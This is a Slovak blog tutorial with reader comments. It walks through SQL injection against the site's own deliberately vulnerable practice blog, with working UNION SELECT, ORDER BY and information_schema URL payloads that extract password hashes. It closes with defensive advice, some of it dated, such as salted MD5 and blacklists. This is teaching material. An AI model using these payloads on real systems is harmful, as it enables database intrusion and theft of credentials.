30.09
2010

Nie je tomu dávno, na H4f bol uverejnený fejtón pod názvom SQL Injection – Fitness YouTube Fun. Cieľom tohto článku z YouTube bolo nabudiť záujem a podať základné info. Po chvíľke odmlky prináša H4f pre svojich čitateľov testovaciu aplikáciu Cheese Holes hneď v dvoch verziách. Cheese je ideálny pre tréning, rovnako logy získané z útokov pomáhajú vyvíjať bezpečnejšie aplikácie. Úvodom by snáď stálo za zmienku, zaloviť trocha v pamäti. Bolo to asi pár mesiacov dozadu, keď neznámy dobrodinec s nickom igigi spustil lavínu smiechu spolu s istým pohoršením.

Ak si spomenieme, položil na kolená niekoľko webov (istého telekomunikačného operátora, poisťovne, chat a desiatky iných…) a ako suvenír si zobral niekoľko databáz s dôvernými údajmi. Vo väčšine prípadov šlo o formu zraniteľnosti SQLi (SQLinjection).

Táto zraniteľnosť využíva rozšírenie databázového dotazu o „pár“ ďaľších parametrov, ktoré útočníkovi umožnia okrem zvolených informácií určených pre web získať aj údaje, ktoré vôbec nie sú určené pre zobrazenie.  Samozrejme útočník má v prvom rade záujem buď web skompromitovať, alebo si stiahnuť databázu vo forme užívateľov, ich adries, loginov a samozrejme aj hesiel (v plaintexte, alebo v šťastnejších prípadoch v hashovanej podobe). SQLinjection je teda pochopiteľne jeden z najnebezpečnejších metód útoku. Vzhľadom k jednoduchosti SQLi pri nedostatočne ošetrených aplikáciách patrí aj k najrozšírenejším útokom. Rozvádzať tuto metódu čisto teoreticky je asi zbytočné, preto bude lepší príklad. Máme napríklad jednoduchý blog – testovací Cheese Holes. Pre zobrazenie stránky sa zhruba používa takýto dotaz pre MySQL databázu:

 

Select * from pages where page_id = 12

 

Tento dotaz nám z DB vytiahne všetky stĺpce v riadku, ktorý má v stĺpci ID hodnotu 12. Zatiaľ je všetko v poriadku. Problém nastáva (nie medzi klávesnicou a stoličkou, ako by ste asi očakávali) prí získavaní toho konkrétneho parametra page_id, ktorý je následne postúpený do databázy z vonkajšieho vstupu. Ako vidíme z priloženého obrázku (obr. 1), pre zobrazenie príspevku z blogu sa používa nasledovná URL (resp. URI) syntax:

http://cheese.php5.sk/test/post.php?id=1

Obr. 1

 

 

Číslo príspevku je vedené ako premenná ID a získava sa metódou GET z URL adresy. Tu začína problém. Nakoľko najčastejšou kombináciou technológií webových aplikácií je LAMP, čiže Linux, Apache, MySQL a PHP, budem rozoberať príklady pre toto technologické riešenie. Pre iné technológie sú postupy a princípy obdobné.
V PHP sktipte sa táto štandardná situácia ošetrí napr. nasledovne jednoducho:

$query = („Select * from post where id = „.$_GET['id']);

Z tohto jednoduchého príkladu vidíme, ako sa dá najjednoduchšie priradiť premenná z URL do dotazu pre MySQL. Pozornému oku iste neunikla táto možnosť:

http://cheese.php5.sk/test/post.php?id=1;Union all select 1,2,3,4,5 –

Áno, presne tu je problém. Do parametra URL môžeme prakticky vložiť ľubovoľný reťazec, čo pre človeka znalého SQL syntax môže znamenať prakticky neobmedzenú moc nad databázou.
Do nášho dotazu sa tak dostane prakticky všetko, čo užívateľ vloží do URL:

Select * from post where id=1; union all select 1,2,3,4,5–

 

Ostáva tak iba na fantázii útočníka, čo do URL vloží. Teraz je nutné podotknúť, že veľa webových aplikácií používa miesto metódy GET metódu POST – tu síce dáta nie sú viditeľné v URL ale posielajú sa v HTML formulári ako skryté položky. Manipulácia s týmito reťazcami však nie je o nič zložitejšia, ako keby boli posielané pomocou GET metódy, čiže ani tento úskok nás pred potenciálnymi útokmi neochráni. Prikročme teda k činu, použijeme túto známu adresu:

http://cheese.php5.sk/test/post.php?id=1

Aplikácia Cheese Holes je určená pre študijné účely, preto môžme experimentovať a skúšať kam sa dostaneme. Útočník začína vždy prieskumom, pri ktorom zisťuje čo mu aplikácia dovolí a čo už nie. Vyskúša napríklad aj náhodný reťazec:

http://cheese.php5.sk/test/post.php?id=gkhffdkjhg

Obr. 2

 

 

Skúsme sa zamyslieť, čo asi útočník očakáva od tohto pokusu. Nevidíme žiadnu logiku? Správne, žiadna logika tam nie je. Snahou útočníka je získať chybové hlásenie, ktoré mu zahlási, že sa nenašiel záznam, ktorý hľadá. Spravidla očakáva štandardný error, alebo warning, ktorý mu napovie viac o aplikácii.  Z nižšie priloženého obrázku (obr. 2)vidíme, že tento stav je zrejme ošetrený custom chybovou hláškou, takže štandardného warningu, alebo erroru sa nedočkáme. Tu je namieste skonštatovať, že tadiaľto cesta nevedie, alebo by to zabrala veľa úsilia (Jednalo by sa o naozajstný blind SQLi útok, pri ktorom spravidla útočník nič „nevidí“, iba konštatuje, či sa mu stránka načítala, alebo nie. Bližšie info je v priložených zdrojoch).

Útočník sa preto uchýli k dôkladnému prieskumu webu, kde očakáva nejakú možnosť reálnych chybových hlásení s možnosťou istej interaktivity :-) Štandardne hľadá ďalšie vstupy, ktoré by mohol zneužiť. V našom prípade nájde nejaký login/password formulár, formulár pre hľadanie v článkoch a zoznam userov, ktorí postovali blogy. Asi najjednoduchšie je vyskúšať userov:

http://cheese.php5.sk/test/user.php?id=fdkhgdkjhgk

Obr. 3

 

Ako je vidieť na ďalšom screenshote (obr. 3), ideme správnym smerom. Útočník získal chybové hlásenie a s nimi aj možnosť „prepašovať“ do dotazu zvolené dáta. V tomto bode musím uviesť fakt, že nezáleží na tom, kde útočník našiel chybu! Táto chyba sa dá zneužiť a postihuje databázu, nielen jej malý kúsok – akutálne tabuľku užívateľov. Útočník teda pokračuje ďalej zisťovaním, koľko stĺpcov má tabuľka userov. Použijeme malý trik – pomocou dotazu budeme zoraďovať riadky podľa stĺpca, postupne kým sa neobjaví chyba:

http://cheese.php5.sk/test/user.php?id=1 order by 2

Obr. 4

Žiadna chyba sa neobjavila, ideme pokračovať ďalej, až skončíme pri čísle 8 ako na obrázku (obr. 4). Áno, tabuľka má práve 7 stĺcov. Vidíme, že veľmi jednoducho sa podarilo dostať k informácii, ktorá zrejme nemá byť verejne dostupná. Útočník teda pokračuje ďalej pomocou príkazu SQL union:

http://cheese.php5.sk/test/user.php?id=1 union all select 1,2,3,4,5,6,7

 

Obr. 5

Na priloženom obrázku (obr. 5) sme odrazu zbadali čísla. Čo sa stalo? Pomocou príkazu union získal útočník informáciu o poradí stĺpcov v súvislosti s ich obsahom. Momentálne máme nasledovné info o stĺpcoch:

1 – tipneme si že to bude asi ID alebo USER_ID, 2 – meno, 3 – priezvisko, 5 – email, ďaľšie neskôr…

Útočník potrebuje viac informácií. Pokračujeme teda hádaním tabuliek:

http://cheese.php5.sk/test/user.php?id=1 union all select 1,2,3,4,5,6,7 from users

Neúspech. Pokračujeme ďalej, kým neuhádneme názov tabuľky. Nebudeme Vás ďalej napínať, meno tabuľky je zvolené tak, aby sa nedalo ľahko uhádnuť – v 99% sa tabuľka volá users :-) :

http://cheese.php5.sk/test/user.php?id=1 union all select 1,2,3,4,5,6,7 from my_cheese_holes_users

 

Obr. 6

Čísla stĺpcov na stránke? Postupujeme správne a uhádli sme meno tabuľky (obr. 6). V tejto fáze útočník potrebuje vedieť presné názvy stĺpcov. Stĺpce s menom, priezviskom, ID a emailom sú menej lukratívne a nebudú nás veľmi zaujímať. Orientujme sa skôr na stĺpce s heslom, prípadne s hashom hesla. Vyskúšame teda neznáme stĺpce:

http://cheese.php5.sk/test/user.php?id=1 union all select 1,2,3,password,5,6,7 from my_cheese_holes_users

Žiadne chybové hlásenie sa neobjavilo, útočník usudzuje, že stĺpec s názvom password v tabuľke existuje, nie je jasné, ktorý to je. Vylučovacou metódou však môžme určiť, že to môžu byť stĺpce 4,6 a 7. Skúsime vypísať niektoré infomácie spojením obsahov stĺpcov do stĺpca, ktorý sa zobrazuje na webe. Útočník na to použije príkaz concat() a hex kód spojovníka 0x03a.

 

http://cheese.php5.sk/test/user.php?id=1 union all select 1,concat(user_id,0x03a,password),3,4,5,6,7 from my_cheese_holes_users

 

Obr. 7

 

Následne si útočník si pomocou vyššie uvedeného príkazu spojil vytipovaný stĺpec  user_id s vytipovaným stĺpcom password a necháva ich zobraziť na webe (obr. 7). Tu už prestávajú všetky žarty! Útočník získal hashe hesiel a k nim má aj prípadné user_id, meno, priezvisko, email. V prípade potreby rovnakou metódou získa aj login, za predpokladu, že to nie je email :-)

Fail! Akoby to ešte nestačilo, útočník teraz ide zistiť všetky tabuľky v databáze. Použije na to metódu selectu z tabuľky s metadátami, ktorú podľa SQL špecifikácie obsahuje MySQL databáza. Postupuje asi takto:

 

http://cheese.php5.sk/test/user.php?id=1 union all select 1,convert(table_name using latin1),3,4,5,6,7 from information_ schema.tables

 

Obr. 8

 

 

Nasledujúci screen (obr. 8), dokazuje získané info o štruktúre tabuliek. Útočník znalý MySQL vie, že v information schéma sa nachádza kompletná štruktúra tabuliek, ktorá je pre veľmi cenná. Ideme teda preskočiť pomocou klauzule LIMIT nepotrebné tabuľky a dostať sa k „našim“ tabuľkám:

 

http://cheese.php5.sk/test/user.php?id=1 union all select 1,convert(table_name using latin1),3,4,5,6,7 from information_ schema.tables limit 1,2

Útočník si teda zobrazí prvú, druhú … až poslednú tabuľku. Klauzulka limit zjavne nefunguje, preto sa uchyľujeme k úskoku a použijeme náhodné zoradenie výsledkov:

http://cheese.php5.sk/test/user.php?id=1 union all select 1,convert(table_name using latin1),3,4,5,6,7 from information_ schema.tables Order By Rand()

Obr. 9

 

 

Po niekoľkých pokusoch, sa útočník dostáva k názvu tabuľky (obr. 9), ktorú sme si predtým prezradili :-) Systematickým skúšaním objaví všetky tabuľky s podobným prefixom, ktoré potrebuje a celý proces dolovania dát sa môže začať od začiatku. Zvyšok „práce“ závisí od zručností útočníka a týka sa hlavne SQL príkazov, ktoré ale nebudeme popisovať. Manuálov k SQL je mnoho Uncle Google is your friend!

Aby sme upokojili paranoikov, nemusíte sa báť. Existujú postupy, ktoré používa napríklad aj náš ukážkový Cheese holes blog. Náš blog je úmyselne deravý pre oblasť zobrazenia užívateľov. Ak si chcete vyskúšať techniky na „kvázi zabezpečenom“ blogu, pre Vás je určená táto adresa so zaplátanou bezpečnostnou dierou: Cheese Test2 SQLme if you can.

Ako sa teda náš Cheese blog chráni pred SQLi? Základom je vedieť, čo, kedy a kde môže byť vstupom a čo nie.

- používa menej štandardné a tažšie uhádnuteľné názvy tabuliek

- heslá su hashované pomocou MD5 algoritmu a pre spomalenie spätného dekryptovania pomocou slovníka alebo rainbow tabuliek sú heslá osolené pomocou dlhej frázy

- ukradnuté MD5 hashe sa musia zložito dekódovať, preto získanie hesla nie je reálne

- pre každý vstup z URL je vytvorený predpoklad očakávaných hodnôt, ktorý vylučuje hodnoty nepatriace v danom vstupe do databázového selectu (jedná sa o niekoľko hlúpych podmienok)

- chybové hlásenia sú vrámci možností vypnuté a prípadné chyby sú oznamované custom hláseniami, ktoré nič nehovoria o databáze

- tagy sú pri vyhľadávaní nahradené neškodnými entitami, preto <script></script> nefunguje a je prakticky neškodný

- pri vyhľadávaní sa používa blacklist niektorých nebezpečných DB operácií

Najčastejšou chybou, ktorá umožňuje SQLi útoky je posunutie premennej z URL priamo do dotazu pre databázu, bez kontroly obsahu. Preto platí pravidlo, že všetko treba na vstupe skontrolovať a podľa možností obmedziť možnú množinu údajov, čím sa vylúčia nebezpečné reťazce. Ďalších chýb je neúrekom, ale o tých si povieme niekedy nabudúce.

Zaujímavé linky – zdroje:

http://ujang10.wordpress.com/2009/10/28/blind-sqli/

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

Ak sa Vám Cheese bude páčiť a pomôžete s jeho vylepšením, určite ho zverejníme pod GPL s možnosťou downloadu. Testujte & Cheezujte :)

Súvisiace články: Fimap, Choose the SQLi Hat!, And the „Sec“ was born!, Sec – Wwuln epic fail, Fitness YouTube Fun, SQLi Cheese – Rozuzlenie

4 komentáře

Přidat komentář
  1. Pekný článok. Super. Aspoň mám konečne predstavu ako sqli funguje.

  2. Ďakujeme za pochvalu. Cieľom článku bolo jednoduchým spôsobom priblížiť verejnosti, ako fungujú najjednoduchšie SQLi útoky. Veríme, že to bolo aspoň trochu poučné a zábavné :-)

  3. Podařilo se mi článek sledovat až po obrázek 8. Od něj ( včetně ) se mi při zkopírování URL ukázala pouze chyba v databázi a to bylo vše. To co se zobrazuje na screenu se mi zobrazit nepodařilo.. Kde je chyba nevím…

  4. [siva01]
    Veľmi pravdepodobne je tam problém so znakmi, ktoré browser pridáva do URL riadku, čiže všetky „%20″ treba odstrániť a nechať v URL reálne medzery napísané pomocou [space]. Teraz som to skúšal a po skopirovani z webu, prilepení do URL riadku a vyhádzaní „%20″ to ide presne ako na obrázku :-) Vyskúšané v aktuálnom Google Chrome DEV…